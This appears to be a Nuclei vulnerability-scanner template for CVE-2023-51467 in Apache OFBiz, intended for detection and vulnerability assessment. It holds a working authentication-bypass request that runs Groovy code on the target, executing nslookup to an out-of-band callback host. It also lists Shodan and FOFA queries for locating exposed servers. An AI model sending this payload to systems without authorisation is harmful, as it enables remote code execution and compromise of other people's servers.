id: CVE-2023-51467

info:
  name: Apache OFBiz < 18.12.11 - Remote Code Execution
  author: your3cho
  severity: critical
  description: |
    The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF)
  impact: |
    Unauthenticated attackers can bypass authentication and execute arbitrary Groovy code, leading to remote code execution and complete system compromise.
  remediation: |
    Upgrade Apache OFBiz to version 18.12.11 or later.
  reference:
    - https://lists.apache.org/thread/9tmf9qyyhgh6m052rhz7lg9vxn390bdv
    - https://www.openwall.com/lists/oss-security/2023/12/26/3
    - https://twitter.com/_0xf4n9x_/status/1740202435367543183
    - https://nvd.nist.gov/vuln/detail/CVE-2023-51467
    - https://issues.apache.org/jira/browse/OFBIZ-12873
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-51467
    cwe-id: CWE-918
    epss-score: 0.93996
    epss-percentile: 0.99897
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: ofbiz
    shodan-query:
      - html:"OFBiz"
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - app="Apache_OFBiz"
      - body="ofbiz"
      - app="apache_ofbiz"
  tags: cve2023,cve,apache,ofbiz,rce,vkev,vuln

http:
  - raw:
      - |
        POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        groovyProgram=import+groovy.lang.GroovyShell%3B%0A%0AString+expression+%3D+%22'nslookup+{{interactsh-url}}'.execute()%22%3B%0AGroovyShell+gs+%3D+new+GroovyShell()%3B%0Ags.evaluate(expression)%3B

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: header
        words:
          - 'OFBiz.Visitor='
# digest: 4b0a00483046022100f6299433f127348a7090a40d796c80ed54263c90c662b7832a535025f9d01e2e022100cb5d8519d47ab0ea48d2440d8348dc48a7008dcb455d5b42a125474512cc3881:922c64590222798bb761d5b6d8e72950